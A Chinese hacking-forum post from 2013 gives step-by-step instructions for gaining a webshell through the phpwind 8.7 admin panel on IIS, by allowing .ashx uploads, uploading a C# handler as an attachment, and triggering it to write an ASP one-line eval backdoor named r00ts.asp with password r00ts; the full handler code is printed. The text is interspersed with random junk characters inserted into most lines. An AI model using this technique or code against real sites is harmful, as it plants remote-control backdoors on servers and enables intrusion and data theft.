找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2113|回复: 0
打印 上一主题 下一主题

phpwind 8.7 后台拿shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-26 12:41:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小# E( h2 N5 B% s) f
8 a4 G3 B$ X% s- I: d: M0 P5 H
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx% O% O# u, ^+ k$ ^# s% X8 a* A" f$ X

4 Q/ h1 H# r' ]8 P1 k% u  p发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整6 p) }6 ~7 n2 L

8 `( E1 {9 s+ |; }1 j3 y4 m" N然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
7 I7 C4 g  }& D. S6 L9 g2 X
: f3 M+ V9 m* L2 `! u1 G: _: n打开之后空白 会在目录底下生成r00ts.asp 密码r00ts( {* _# z9 Y5 b

9 H' C, M/ l: T' l2 ^0 W7 d+ I下面是代码:
! ]% x# c, Q, C# T 8 P% e) i  O* y" B
<%@ WebHandler Language="C#"Class="Handler" %>7 T( e; g4 V4 K0 V& p  U$ K7 ^
using System;
5 W! R, X* }+ n+ ?. U* h% z8 susing System.Web;+ O2 X* p: C2 g7 r, M
using System.IO;
) ?1 \' @- X% \- c0 b. Spublic class Handler : IHttpHandler {; H3 `* m! i4 A6 g
public void ProcessRequest (HttpContext context) {
* S% S; Q$ B! y3 Acontext.Response.ContentType = "text/plain";
8 f# h2 T: M) W% h5 z0 dStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));" @2 f7 a5 M! N" Q/ n  n- H
file1.Write("<%eval request(\"r00ts\")%>");) d; ~+ N- C$ z  S
file1.Flush();; t. N5 O7 i- h" u, r
file1.Close();! u5 g' I* z+ x9 ?
}7 ]& C, @" D+ S0 i! r( b: n
public bool IsReusable {! N& y: ]2 k" h- `: o
get {
- {6 f- t% H$ U  _+ m+ @return false;
6 i! C) O4 c" ], n9 }/ y  a- ^}
4 y) o/ f( x- U+ A* A}
( l8 {' v3 l" X# d}& j1 O+ A' ^4 b: p1 e0 [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表